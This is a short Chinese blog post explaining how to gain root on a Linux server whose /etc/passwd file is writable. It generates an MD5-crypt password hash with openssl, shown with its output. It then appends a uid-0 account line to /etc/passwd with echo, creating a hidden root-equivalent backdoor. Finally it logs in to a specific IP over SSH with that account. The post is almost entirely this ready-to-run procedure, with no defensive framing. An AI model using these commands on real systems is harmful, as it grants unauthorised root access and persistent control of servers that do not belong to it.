passwd文件写入用户密码

passwd文件写入用户密码

在有/etc/passwd写入权限的情况下,通过写入一条账号密码,可以直接使用写入的账号密码登录服务器。

第一步:使用openssl passwd生成加密后的密码

openssl passwd -1 -salt raj  #生成加密后的密码, -salt 加盐,-1 linux密码加密方式

123@wacky  #输入密码

$1$raj$PUzoloEwPB0aeoBnAB6CO/   #加密后的密码

第二步:追加构造好的passwd行到/etc/passwd文件中

echo 'raj:$1$raj$PUzoloEwPB0aeoBnAB6CO/:0:0::/root:/bin/bash' >>/etc/passwd  #添加到root组中,并且用户id为0 ,登录后whoami为root

tail passwd   #查看修改添加结果

 

应具备ssh远程的条件,安装开启了ssh服务,ssh端口对外开放。

ssh raj@207.107.114.64 -p 22

 

参考:

openssl passwd - 骏马金龙 - 博客园

https://www.cnblogs.com/f-ck-need-u/p/6089869.html

openssl用法详解 - Echo/ - 博客园

https://www.cnblogs.com/yangxiaolan/p/6256838.html

 
posted @ 2020-12-15 00:33  思考的菜鸟  阅读(973)  评论(0编辑  收藏  举报